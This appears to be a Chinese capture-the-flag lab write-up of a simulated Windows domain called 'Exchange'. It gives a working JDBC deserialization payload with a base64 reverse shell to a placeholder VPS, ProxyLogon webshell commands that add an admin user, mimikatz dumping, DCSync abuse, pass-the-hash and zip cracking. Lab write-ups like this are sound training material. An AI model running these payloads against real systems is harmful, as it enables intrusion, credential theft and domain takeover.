Exchange

Administrator

2024-01-19

域 Windows 春秋云镜

靶标介绍

Exchange 是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag，分布于不同的靶机。

知识点

JDBC
Exchange
NTLM
Coerce Authentication
DCSync

外网

# ./fscan -h 39.98.114.137 -p 1-65537
   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
39.98.114.137:22 open
39.98.114.137:80 open
39.98.114.137:8000 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.98.114.137      code:200 len:19813  title:lumia
[*] WebTitle http://39.98.114.137:8000 code:302 len:0      title:None 跳转url: http://39.98.114.137:8000/login.html
[*] WebTitle http://39.98.114.137:8000/login.html code:200 len:5662   title:Lumia ERP

Information Leakage

查看登录界面发现是华夏ERP V2.3，该版本存在CNVD-2020-63964泄露用户名和密码敏感漏洞。

Exchange-LumiaERP

{
  "code": 200,
  "data": {
    "userList": [
      ......
      {
        "id": 120,
        "username": "管理员",
        "loginName": "admin",
        "password": "[deleted]",
        "position": null,
        "department": null,
        "email": null,
        "phonenum": null,
        "ismanager": 1,
        "isystem": 0,
        "status": 0,
        "description": null,
        "remark": null,
        "tenantId": null
      },
      ......
    ]
  }
}

Md5查出来发现是弱密码，进入后台并没有发现什么后台的洞。看了别的师傅的WP发现可以通过JDBC打RCE，在VPS上启动一个恶意的mysql服务，同时将ysoserial和server.py放在同一目录下。Java环境最好提前切换为1.8防止出现Java版本不匹配的问题。config.json配置：

    {
        "config":{
            "ysoserialPath":"ysoserial-all.jar",
            "javaBinPath":"java",
            "fileOutputDir":"./fileOutput/",
            "displayFileContentOnScreen":true,
            "saveToFile":true
        },
        "fileread":{
            "win_ini":"c:\\windows\\win.ini",
            "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
            "win":"c:\\windows\\",
            "linux_passwd":"/etc/passwd",
            "linux_hosts":"/etc/hosts",
            "index_php":"index.php",
            "ssrf":"https://www.baidu.com/",
            "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
        },
        "yso":{
            "Jdk7u21":["Jdk7u21","calc"],
            "CommonsCollections6":["CommonCollections6","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJcC92cHNQb3J0IDA+JjE=}|{base64,-d}|{bash,-i}"]
        }
    }

JDBC&Serialization → Shell

配置好后启动mysql服务并抓包发送payload。

/user/list?search=%7B%20%22name%22%3A%20%7B%20%22%40type%22%3A%20%22java.lang.AutoCloseable%22%2C%20%22%40type%22%3A%20%22com.mysql.jdbc.JDBC4Connection%22%2C%20%22hostToConnectTo%22%3A%20%22vpsIp%22%2C%20%22portToConnectTo%22%3A%203306%2C%20%22info%22%3A%20%7B%20%22user%22%3A%20%22yso_CommonsCollections6_bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC92cHNJcC92cHNQb3J0IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%2C%20%22password%22%3A%20%22pass%22%2C%20%22statementInterceptors%22%3A%20%22com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%22%2C%20%22autoDeserialize%22%3A%20%22true%22%2C%20%22NUM_HOSTS%22%3A%20%221%22%20%7D%20%7D

成功拿下外网靶机。

root:~# nc -lvnp 1234
root:/root/flag# cat /root/flag/flag01.txt	
 ██     ██ ██     ██       ███████   ███████       ██     ████     ██   ████████ 
░░██   ██ ░██    ████     ██░░░░░██ ░██░░░░██     ████   ░██░██   ░██  ██░░░░░░██
 ░░██ ██  ░██   ██░░██   ██     ░░██░██   ░██    ██░░██  ░██░░██  ░██ ██      ░░ 
  ░░███   ░██  ██  ░░██ ░██      ░██░███████    ██  ░░██ ░██ ░░██ ░██░██         
   ██░██  ░██ ██████████░██      ░██░██░░░██   ██████████░██  ░░██░██░██    █████
  ██ ░░██ ░██░██░░░░░░██░░██     ██ ░██  ░░██ ░██░░░░░░██░██   ░░████░░██  ░░░░██
 ██   ░░██░██░██     ░██ ░░███████  ░██   ░░██░██     ░██░██    ░░███ ░░████████ 
░░     ░░ ░░ ░░      ░░   ░░░░░░░   ░░     ░░ ░░      ░░ ░░      ░░░   ░░░░░░░░  
			|  |  ||  | /~~\  /\  |\  /|~|~
			|  |  ||--||    |/__\ | \/ | | 
			 \/ \/ |  | \__//    \|    |_|_
	      flag01: [deleted]

内网

fscan

root:/tmp# ./fscan -h 172.22.3.0/24
   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
(icmp) Target 172.22.3.12     is alive
(icmp) Target 172.22.3.2      is alive
(icmp) Target 172.22.3.9      is alive
(icmp) Target 172.22.3.26     is alive
[*] Icmp alive hosts len is: 4
172.22.3.12:8000 open
172.22.3.26:445 open
172.22.3.9:445 open
172.22.3.2:445 open
172.22.3.9:443 open
172.22.3.9:8172 open
172.22.3.2:88 open
172.22.3.26:139 open
172.22.3.9:139 open
172.22.3.2:139 open
172.22.3.26:135 open
172.22.3.9:135 open
172.22.3.2:135 open
172.22.3.9:81 open
172.22.3.9:80 open
172.22.3.12:80 open
172.22.3.12:22 open
172.22.3.9:808 open
[*] alive ports len is: 18
start vulscan
[*] OsInfo 172.22.3.2	(Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.3.26     XIAORANG\XIAORANG-PC          
[*] NetInfo 
[*]172.22.3.26
   [->]XIAORANG-PC
   [->]172.22.3.26
[*] NetBios 172.22.3.2      [+] DC:XIAORANG-WIN16.xiaorang.lab      Windows Server 2016 Datacenter 14393
[*] NetInfo 
[*]172.22.3.2
   [->]XIAORANG-WIN16
   [->]172.22.3.2
[*] NetInfo 
[*]172.22.3.9
   [->]XIAORANG-EXC01
   [->]172.22.3.9
[*] WebTitle http://172.22.3.12        code:200 len:19813  title:lumia
[*] NetBios 172.22.3.9      XIAORANG-EXC01.xiaorang.lab         חindows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.3.12:8000   code:302 len:0      title:None 跳转url: http://172.22.3.12:8000/login.html
[*] WebTitle http://172.22.3.12:8000/login.html code:200 len:5662   title:Lumia ERP
[*] WebTitle http://172.22.3.9:81      code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle https://172.22.3.9:8172   code:404 len:0      title:None
[*] WebTitle http://172.22.3.9         code:403 len:0      title:None
[*] WebTitle https://172.22.3.9        code:302 len:0      title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237  title:Outlook

172.22.3.12 华夏ERP
172.22.3.9 Outlook
172.22.3.2 DC/XIAORANG-WIN16
172.22.3.26 XIAORANG\XIAORANG-PC

内网代理使用为Stowaway¹相比较Viper更加方便，倒不是Viper不好用，只是上Viper最后也就是个内网代理😶‍🌫️

.9

Exchange-Outlook

CVE-2021-26855 → system

访问是Outlook界面，结合题目就知道是CVE-2021-26855，直接打ProxyLogon。

└─$ proxychains python3 ProxyLogon.py 172.22.3.9 administrator@xiaorang.lab
   ___                    __                         
  / _ \_______ __ ____ __/ /  ___  ___ ____  ___     
 / ___/ __/ _ \\ \ / // / /__/ _ \/ _ `/ _ \/ _ \ 
/_/  /_/  \___/_\_\\_, /____/\___/\_, /\___/_//_/  
                  /___/          /___/               
[Stage 4] Attack performed successfully - webshell: https://172.22.3.9/owa/auth/proxylogon.aspx
[Stage 4] Use the following POST request to execute commands:
    POST /owa/auth/proxylogon.aspx HTTP/1.1
    Host: 172.22.3.9
    User-Agent: Mozilla/5.0
    Content-Type:application/x-www-form-urlencoded
    Content-Length: 115
    proxylogon_shell=Response.Write(new ActiveXObject("Wscript.Shell").exec("cmd.exe /c whoami /all").stdout.readall())

Add New User

漏洞利用成功后就添加新用户到管理员组并用RDP登录。

└─$ proxychains curl --request POST --url https://172.22.3.9/owa/auth/proxylogon.aspx --header 'Content-Type:application/x-www-form-urlencoded' --data 'proxylogon_shell=Response.Write(new ActiveXObject("Wscript.Shell").exec("whoami /all").stdout.readall())' -k 
用户信息
----------------
用户名              SID     
=================== ========
nt authority\system S-1-5-18
└─$ proxychains curl --request POST --url https://172.22.3.9/owa/auth/proxylogon.aspx --header 'Content-Type:application/x-www-form-urlencoded' --data 'proxylogon_shell=Response.Write(new ActiveXObject("Wscript.Shell").exec("net user m3rl1n 123456789 /add").stdout.readall())' -k
└─$ proxychains curl --request POST --url https://172.22.3.9/owa/auth/proxylogon.aspx --header 'Content-Type:application/x-www-form-urlencoded' --data 'proxylogon_shell=Response.Write(new ActiveXObject("Wscript.Shell").exec("cmd.exe /c net localgroup administrators m3rl1n /add").stdout.readall())' -k

Exchange-flag02

Information Collection

上传Shardhound和mimikatz收集信息，在运行时都需要以管理员用户运行。

Exchange-graph

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 4626934 (00000000:004699f6)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2024/1/19 16:59:53
SID               : S-1-5-90-0-3
        msv :
         [00000003] Primary
         * Username : XIAORANG-EXC01$
         * Domain   : XIAORANG
         * NTLM     : [deleted]
         * SHA1     : 5e74db508e9756e34f86664e345f0583af30b21c
        tspkg :
        wdigest :
         * Username : XIAORANG-EXC01$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : XIAORANG-EXC01$
         * Domain   : xiaorang.lab
         * Password : 
        ssp :
        credman :
......
Authentication Id : 0 ; 104868 (00000000:000199a4)
Session           : Service from 0
User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2024/1/19 16:50:37
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
        msv :
         [00000003] Primary
         * Username : Zhangtong
         * Domain   : XIAORANG
         * NTLM     : [deleted]
         * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
         * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
        tspkg :
        wdigest :
         * Username : Zhangtong
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : Zhangtong
         * Domain   : XIAORANG.LAB
         * Password : (null)
        ssp :
        credman :
......

.2

ACL domain-specific Delegation

通过mimikatz抓到了EXC01和Zhangtong的Hash，在Bloodhound中可以发现EXC01默认对域内成员具有writeDacl权限，利用WriteDacl权限修改域对象的ACL进而添加Zhangtong的DCSync权限²。

└─# proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :[deleted]  -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
Impacket for Exegol - v0.10.1.dev1 - Copyright 2022 Fortra - forked by ThePorgs

[*] DACL backed up to dacledit-20240119-042715.bak
[*] DACL modified successfully!

成功添加权限后就利用Zhangtong抓取域控哈希。

└─# proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :[deleted] -just-dc-ntlm
Impacket for Exegol - v0.10.1.dev1 - Copyright 2022 Fortra - forked by ThePorgs

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:[deleted]:::
......
xiaorang.lab\Lumia:1146:aad3b435b51404eeaad3b435b51404ee:[deleted]:::
......
[*] Cleaning up...

Hash传递进入DC。

└─# proxychains impacket-wmiexec xiaorang.lab/Administrator@172.22.3.2 -hashes :[deleted] -dc-ip 172.22.3.2
Impacket for Exegol - v0.10.1.dev1 - Copyright 2022 Fortra - forked by ThePorgs

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\Users\Administrator\flag\flag.txt                               
____  ___.___   _____   ________ __________    _____    _______    ________ 
\   \/  /|   | /  _  \  \_____  \\______   \  /  _  \   \      \  /  _____/ 
 \     / |   |/  /_\  \  /   |   \|       _/ /  /_\  \  /   |   \/   \  ___ 
 /     \ |   /    |    \/    |    \    |   \/    |    \/    |    \    \_\  \
/___/\  \|___\____|__  /\_______  /____|_  /\____|__  /\____|__  /\______  /
      \_/            \/         \/       \/         \/         \/        \/ 
flag04: [deleted]

.26

PTH Exchange → Info.

利用域管Hash查看smb文件共享，下载Lumia桌面有压缩文件但文件需要密码。

└─# proxychains impacket-smbclient xiaorang.lab/administrator@172.22.3.26 -hashes :[deleted]
Impacket for Exegol - v0.10.1.dev1 - Copyright 2022 Fortra - forked by ThePorgs
# shares
ADMIN$
C$
IPC$
# use C$
# cd Users
# cd Lumia
# cd Desktop
# get secret.zip

利用pthexchange下载所有的邮件内容，发现了两封邮件和一个电话表。

└─$ proxychains python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:[deleted]' --action Download
2024-01-19 04:58:58,713 - DEBUG - [Stage 777] Get Mails Stage 1 Finditem ing... 
2024-01-19 04:58:59,594 - DEBUG - [Stage 777] Get Mails Stage 2 GetItem ing... 
2024-01-19 04:59:02,049 - DEBUG - [Stage 777] Get Mails Stage 3 Downloaditem ing... 
[+] Item [output/item-0.eml] saved successfully
2024-01-19 04:59:02,055 - DEBUG - [Stage 555] Ready Download Attachmenting... 
2024-01-19 04:59:02,131 - DEBUG - [Stage 555] Determine if there are attachments in the email... 
2024-01-19 04:59:02,131 - DEBUG - [Stage 555] This Mail Has Attachment... 
2024-01-19 04:59:02,131 - DEBUG - [Stage 555] Start Get Attachment Content... 
2024-01-19 04:59:04,181 - DEBUG - [Stage 555] Start Download Attachment... 
[+] Item [output/item-0-secret.zip] saved successfully
2024-01-19 04:59:04,184 - DEBUG - [Stage 777] Get Mails Stage 2 GetItem ing...
2024-01-19 04:59:04,360 - DEBUG - [Stage 777] Get Mails Stage 3 Downloaditem ing...
[+] Item [output/item-1.eml] saved successfully
2024-01-19 04:59:04,361 - DEBUG - [Stage 555] Ready Download Attachmenting...
2024-01-19 04:59:04,425 - DEBUG - [Stage 555] Determine if there are attachments in the email...
2024-01-19 04:59:04,425 - DEBUG - [Stage 555] This Mail Has Attachment...
2024-01-19 04:59:04,425 - DEBUG - [Stage 555] Start Get Attachment Content...
2024-01-19 04:59:04,495 - DEBUG - [Stage 555] Start Download Attachment...
[+] Item [output/item-1-phone lists.csv] saved successfully

└─$ ls
README.assets  README.md  ews_template  output  pthexchange.py

└─$ cd output           

└─$ ls
 item-0-secret.zip   item-0.eml  'item-1-phone lists.csv'   item-1.eml

item-0邮件告诉我们文件是使用item-1邮件中的手机号加密的，既然如此那就爆破就可以了。

Exchange-item0eml

Exchange-item1eml

Password Bursting

└─$ zip2john secret.zip > target.txt
Created directory: /home/m3rl1n/.john
ver 2.0 secret.zip/flag.docx PKZIP Encr: cmplen=668284, decmplen=671056, crc=AFEF0968 ts=AB91 cs=afef type=8
                                                                            
┌──(m3rl1n㉿kali)-[~/Desktop]
└─$ john --wordlist=pass.txt target.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[deleted]      (secret.zip/flag.docx)     
1g 0:00:00:00 DONE (2024-01-19 05:06) 100.0g/s 50100p/s 50100c/s 50100C/s 15265180637
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Exchange-flag03